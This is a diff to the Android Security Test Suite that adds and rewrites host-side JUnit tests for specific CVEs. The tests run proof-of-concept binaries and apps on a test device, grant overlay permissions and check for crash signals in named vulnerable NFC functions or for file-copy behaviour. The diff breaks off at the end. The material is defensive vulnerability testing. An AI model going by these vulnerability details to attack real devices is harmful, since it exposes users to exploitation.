+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+    /**
+     * b/120502559
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120502559)
+    @Test
+    public void testPocCVE_2019_2031() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2031";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t3t_act_handle_check_ndef_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 0000000..3aa0474
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 139017101)
+    @Test
+    public void testPocCVE_2020_0015() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2020_0015";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2020-0015.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+    /**
+     * b/62458770
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 62458770)
+    @Test
+    public void testPocCVE_2020_0034() throws Exception {
+        pocPusher.only32();
+        String binaryName = "CVE-2020-0034";
+        String inputFiles[] = {"cve_2020_0034.ivf"};
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..04d65f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,30 +16,40 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-import com.android.compatibility.common.util.CrashUtils;
-
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0073 extends SecurityTestCase {
 
     /**
      * b/147309942
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 147309942)
     public void testPocCVE_2020_0073() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
new file mode 100644
index 0000000..84b45a0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0458 extends SecurityTestCase {
+
+    /**
+     * b/160265164
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @AsbSecurityTest(cveBugId = 160265164)
+    @Test
+    public void testPocCVE_2020_0458() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
deleted file mode 100644
index 43a058c..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
-
-   /**
-     * b/174738029
-     *
-     */
-    @AsbSecurityTest(cveBugId = 174738029)
-    @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
new file mode 100644
index 0000000..ed3e846
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_29374 extends SecurityTestCase {
+
+   /**
+     * b/174738029
+     *
+     */
+    @AsbSecurityTest(cveBugId = 174738029)
+    @Test
+    public void testPocCVE_2020_29374() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f8..4b1bc22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -38,7 +38,7 @@
  * collected from the hostside and reported accordingly.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_0430 extends SecurityTestCase {
 
     /**
      * b/178725766
      * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 178725766)
     public void testPocCVE_2021_0430() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-0430";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_mfc_handle_read_op"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
-    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
-    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    private static final String TEST_APP = "CVE-2021-0481.apk";
-
-    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
-    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
-    //defined originally as
-    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    //in com.android.settings.users.EditUserPhotoController class
-    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
-    @Before
-    public void setUp() throws Exception {
-        uninstallPackage(getDevice(), TEST_PKG);
-    }
-
-    @Test
-    @AsbSecurityTest(cveBugId = 172939189)
-    @AppModeFull
-    public void testRunDeviceTest() throws Exception {
-
-        String cmd;
-
-        //delete a source file just in case AdbUtils.pushResource()
-        //doesn't overwrite existing file
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //push the source file to a device
-        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
-        //delete a destination file which is supposed to be created by a vulnerable device
-        //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        installPackage();
-
-        //ensure the screen is woken up.
-        //KEYCODE_WAKEUP wakes up the screen
-        //KEYCODE_MENU called twice unlocks the screen (if locked)
-        //Note: (applies to Android 12 only):
-        //      KEYCODE_MENU called less than twice doesnot unlock the screen
-        //      no matter how many times KEYCODE_HOME is called.
-        //      This is likely a timing issue which has to be investigated further
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
-        //run the test
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
-        //go to home screen after test
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
-        //Check if TEST_FILE_NAME has been copied by "Evil activity"
-        //If the file has been copied then it means the vulnerability is active so the test fails.
-        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
-            DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
-        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
-        CLog.i(cmd + " -->" + result);
-
-        //Delete files created by this test
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //final assert
-        assertThat(result, not(is("0")));
-    }
-
-    private void installPackage() throws Exception {
-        installPackage(TEST_APP, new String[0]);
-    }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..30af472 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,44 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0523.apk";
 
-    private static void extractInt(String str, int[] displaySize) {
-        str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
-        if (str.equals("")) {
-            return;
-        }
-        String s[] = str.split(" ");
-        for (int i = 0; i < s.length; ++i) {
-            displaySize[i] = Integer.parseInt(s[i]);
-        }
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
     }
 
     /**
      * b/174047492
      */
-    @Test
+    @AppModeFull
     @AsbSecurityTest(cveBugId = 174047492)
+    @Test
     public void testPocCVE_2021_0523() throws Exception {
-        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
-        String apkName = "CVE-2021-0523.apk";
-        String appPath = AdbUtils.TMP_PATH + apkName;
-        String packageName = "android.security.cts.cve_2021_0523";
-        String crashPattern =
-            "Device is vulnerable to b/174047492 hence any app with " +
-            "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
-        ITestDevice device = getDevice();
-
-        try {
-            /* Push the app to /data/local/tmp */
-            pocPusher.appendBitness(false);
-            pocPusher.pushFile(apkName, appPath);
-
-            /* Wake up the screen */
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
-            /* Install the application */
-            AdbUtils.runCommandLine("pm install " + appPath, device);
-
-            /* Grant "Draw over other apps" permission */
-            AdbUtils.runCommandLine(
-                    "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
-            /* Start the application */
-            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
-            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
-            /* Get screen width and height */
-            int[] displaySize = new int[2];
-            extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
-            int width = displaySize[0];
-            int height = displaySize[1];
-
-            /* Give a tap command for center of screen */
-            AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            /* Un-install the app after the test */
-            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Detection of crash pattern in the logs */
-            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
-            Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
-            assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
-        }
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1..5a7ec8d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9..eb74b20 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import java.util.regex.Pattern;
 import org.junit.Assert;
 import org.junit.Before;
@@ -33,7 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..29fd2b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-0642.apk";
+    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        uninstallPackage(device, TEST_PKG);
+    }
+
+    /**
+     * b/185126149
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testPocCVE_2021_0642() throws Exception {
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b..26bba4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
